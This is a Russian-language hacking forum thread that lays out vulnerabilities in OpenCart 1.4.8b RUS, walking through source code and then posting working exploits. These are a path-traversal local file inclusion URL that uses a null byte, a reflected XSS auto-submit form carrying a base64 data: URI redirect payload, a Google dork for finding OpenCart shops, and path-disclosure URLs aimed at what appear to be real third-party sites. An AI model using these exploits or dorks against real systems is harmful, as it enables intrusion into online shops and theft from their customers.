Старый 06.07.2010, 15:02   #1
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию Уязвимости OpenCart

Версия:
OpenCart 1.4.8b RUS 0.1

Магазин: оф. сайт http://myopencart.ru/

В файле в корне config.php интересны константы:

PHP код:
 /*...*/define('DB_DRIVER''mysql');
define('DB_HOSTNAME''localhost');
define('DB_USERNAME''root');
define('DB_PASSWORD''');
define('DB_DATABASE''opencart');
define('DB_PREFIX''oc_');/*...*/ 
Мб пригодитцо(читалка, блинд посимволу и т.д)

После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.

Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

далее в index.php создаютцо обьекты...

Дорк:
intext:"Работает на: OpenCart"

Такс, хватит воды!

LFI (ось win)

system/library/request.php
PHP код:
 final class Request {
    public 
$get = array();
    public 
$post = array();
    public 
$cookie = array();
    public 
$files = array();
    public 
$server = array();
    
      public function 
__construct() {
        
$_GET $this->clean($_GET);
        
$_POST $this->clean($_POST);
        
$_COOKIE $this->clean($_COOKIE);
        
$_FILES $this->clean($_FILES);
        
$_SERVER $this->clean($_SERVER);
        
        
$this->get $_GET;
        
$this->post $_POST;
        
$this->cookie $_COOKIE;
        
$this->files $_FILES;
        
$this->server $_SERVER;
    }
    
      public function 
clean($data) {
        if (
is_array($data)) {
              foreach (
$data as $key => $value) {
                unset(
$data[$key]);
                
                
$data[$this->clean($key)] = $this->clean($value);
              }
        } else { 
              
$data htmlspecialchars($dataENT_COMPAT'UTF-8');
        }

        return 
$data;
    }

index.php
PHP код:
 /*...*/
// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance/check'));

// SEO URL's
$controller->addPreAction(new Action('common/seo_url'))


// Router
if (isset($request->get['route'])) {
    
$action = new Action($request->get['route']);
} else {
    
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output(); 
system/engine/action.php
PHP код:
/*...*/
public function __construct($route$args = array()) {
        
$path '';
        
        
$parts explode('/'str_replace('../'''$route));
        
        foreach (
$parts as $part) { 
            
$path .= $part;
            
            if (
is_dir(DIR_APPLICATION 'controller/' $path)) {
                
$path .= '/';
                
                
array_shift($parts);
                
                continue;
            }
            
            if (
is_file(DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php')) {
                
$this->file DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php';
                
                
$this->class 'Controller' preg_replace('/[^a-zA-Z0-9]/'''$path);

                
array_shift($parts);
/*...*/ 
system/engine/front.php
PHP код:
 /*...*/
public function dispatch($action$error) {
        
$this->error $error;
            
        foreach (
$this->pre_action as $pre_action) {
            
$result $this->execute($pre_action);
                    
            if (
$result) {
                
$action $result;
                
                break;
            }
        }
            
        while (
$action) {
            
$action $this->execute($action);
        }
      }
    
    private function 
execute($action) {
        
$file   $action->getFile();
        
$class  $action->getClass();
        
$method $action->getMethod();
        
$args   $action->getArgs();

        
$action '';

        if (
file_exists($file)) {
            require_once(
$file);

            
$controller = new $class($this->registry);
            
            if (
is_callable(array($controller$method))) {
                
$action call_user_func_array(array($controller$method), $args);
            } else {
                
$action $this->error;
            
                
$this->error '';
            }
        } else {
            
$action $this->error;
            
            
$this->error '';
        }
        
        return 
$action;
    }

Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 15:04   #2
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

pXSS в аторизации (часть представления!).

PHP код:
/*...*/
protected function redirect($url) {
        
header('Location: ' str_replace('&''&'$url));
        exit();
    }
/*...*/ 
controller/account/login.php
PHP код:
 class ControllerAccountLogin extends Controller {
    private 
$error = array();

    public function 
index() {
        if (
$this->customer->isLogged()) {
              
$this->redirect(HTTPS_SERVER 'index.php?route=account/account');
        }

        
$this->language->load('account/login');

        
$this->document->title $this->language->get('heading_title');

        if ((
$this->request->server['REQUEST_METHOD'] == 'POST')) {
            if (isset(
$this->request->post['account'])) {
                
$this->session->data['account'] = $this->request->post['account'];

                if (
$this->request->post['account'] == 'register') {
                    
$this->redirect(HTTPS_SERVER 'index.php?route=account/create');
                }

                if (
$this->request->post['account'] == 'guest') {
                    
$this->redirect(HTTPS_SERVER 'index.php?route=checkout/guest_step_1');
                }
            }

            if (isset(
$this->request->post['email']) && isset($this->request->post['password']) && $this->validate()) {
                unset(
$this->session->data['guest']);

                if (isset(
$this->request->post['redirect'])) {
                    
$this->redirect(str_replace('&''&'$this->request->post['redirect']));
                } else {
                    
$this->redirect(HTTPS_SERVER 'index.php?route=account/account');
                }
            }
        }
/*...*/
private function validate() {
        if (!
$this->customer->login($this->request->post['email'], $this->request->post['password'])) {
              
$this->error['message'] = $this->language->get('error_login');
        }

        if (!
$this->error) {
              return 
TRUE;
        } else {
              return 
FALSE;
        }
      } 
Чтоб попасть на account/login.php надо установить переменную ?route=account/login
Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!

Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+

Експлоит:
Код HTML:
<form action="http://localhost/opencart_1.4.8b_rus_0.1/index.php?route=account/login" method=post> <input name=email type=hidden value='test@mail.ru'> <input name=password type=hidden value=admin> <input name=redirect type=hidden value='data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+'> <input name=r type=radio checked> гуд<br> <input name=r type=radio> плохо<br> Как жизнь?<br> <input type="submit" value="ок."> </form>
зы
?route=account/login - только гет!

Раскрытие путей

http://www.hellomydream.com/admin/controller/common/header.php
http://garmata.net/admin/controller/payment/alertpay.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php
и другие.
Strilo4ka вне форума   Ответить с цитированием
Ответ

Метки
lfi, xss

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot